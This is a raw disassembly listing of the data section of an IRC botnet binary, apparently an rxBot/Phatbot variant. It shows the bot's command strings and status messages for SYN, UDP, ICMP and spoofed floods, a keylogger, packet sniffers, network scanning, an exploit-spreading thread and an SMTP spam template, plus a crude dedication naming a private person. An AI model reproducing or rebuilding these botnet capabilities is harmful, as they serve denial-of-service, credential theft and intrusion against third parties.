aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42AF20	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AF58	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42AFA0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AFD8	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42B010	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42B054	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42B09C	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
					; ___:004382D0o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:004382C8o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+4FA1o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 10h
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 10h
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 10h
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42B1DC	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B218	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 10h
unk_42B260	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 10h
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00438300o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 10h
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 10h
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
					; ___:004382B8o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 10h
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00438310o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
					; ___:004382D4o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42B3F0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B40C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42B438	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B458	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B478	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B498	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 10h
unk_42B4E0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B500	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 4
unk_42B52C	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42B568	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42B5A4	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42B5C8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42B5E8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42B614	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 10h
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 10h
dword_42B660	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 10h
dword_42B680	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B6B8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B6EC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B718	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 10h
unk_42B740	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B770	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B7B0	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B7EC	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_42B81C	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B844	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 10h
dword_42B870	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B8AC	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B8E8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B918	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00438304o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 4
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 10h
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 10h
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
					; ___:00438634o
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 10h
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:004382ECo ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:0043830Co ...
		unicode	0, <n>,0
unk_42BA10	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42BA70	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42BA88	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42BAA0	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42BAE8	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42BB10	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42BB14	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42BB20	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42BB28	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 10h
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 10h
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 10h
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42BB98	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42BBAC	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42BBB0	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42BBC0	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42BBC4	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42BBC8	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 10h
unk_42BC30	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 10h
unk_42BC70	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 10h
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42BCA8	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BCD4	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 4
unk_42BD14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42BD50	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42BD7C	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42BDA8	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42BDB8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42BE68	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BEA4	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42BED8	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BF18	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BF44	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 10h
dword_42BF80	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BFA8	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42BFB8	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42BFC4	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42BFD4	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42BFE4	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42C018	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
